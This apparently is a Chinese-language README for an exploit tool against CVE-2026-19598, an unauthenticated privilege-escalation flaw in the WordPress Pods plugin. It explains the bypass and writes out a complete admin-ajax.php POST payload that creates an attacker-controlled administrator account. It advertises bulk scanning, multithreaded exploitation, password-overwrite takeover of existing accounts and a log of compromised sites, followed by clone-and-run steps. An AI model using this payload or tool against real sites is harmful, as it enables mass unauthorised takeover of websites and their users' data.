CVE-2026-19598 — Pods WordPress 插件未认证权限提升

严重未认证权限提升漏洞（CVSS 9.8）— WordPress Pods 插件 ≤ 3.3.9

该工具利用 CVE-2026-19598，这是 WordPress Pods 插件中的一个漏洞，允许未认证攻击者通过 admin-ajax.php 端点创建新的管理员账户或覆盖现有用户密码。

⚠️ 漏洞概述

技术细节

该漏洞存在于 pods_admin AJAX 操作中。由于权限检查不当，当存在 meta-box-loader 参数时，save_user 方法可以在无需认证的情况下被调用。这允许攻击者：

1. 创建新的管理员用户，使用任意凭据
2. 覆盖现有用户密码，通过指定用户 ID
3. 提升权限，从未认证状态提升至完全管理员访问权限

攻击向量

POST /wp-admin/admin-ajax.php action=pods_admin method=save_user meta-box-loader=1 user_login=evil_admin user_pass=Hacked123! role=administrator

该插件未能验证发起请求的用户是否具有适当的能力，且 meta-box-loader 参数绕过了预期的安全检查。

🚀 功能特性

• ✅ 单目标利用 — 创建管理员或覆盖密码
• ✅ 批量扫描与利用 — 从文件加载目标
• ✅ 多线程 — 快速并行处理
• ✅ 自动登录验证 — 确认管理员访问权限
• ✅ 覆盖模式 — 接管现有用户账户
• ✅ 自定义凭据 — 设置您自己的用户名/密码
• ✅ 带旋转指示器的进度条及实时统计
• ✅ 彩色输出，便于阅读
• ✅ 结果保存 — pods_pwned.txt 包含所有已利用的目标
• ✅ 无外部依赖 — 使用 Python 标准库 + requests

📥 安装

# 克隆仓库
git clone https://github.com/0xCyp1337/CVE-2026-19598.git
cd CVE-2026-19598
python3 CVE-2026-19598.py

# 安装依赖（仅需 requests）
pip install requests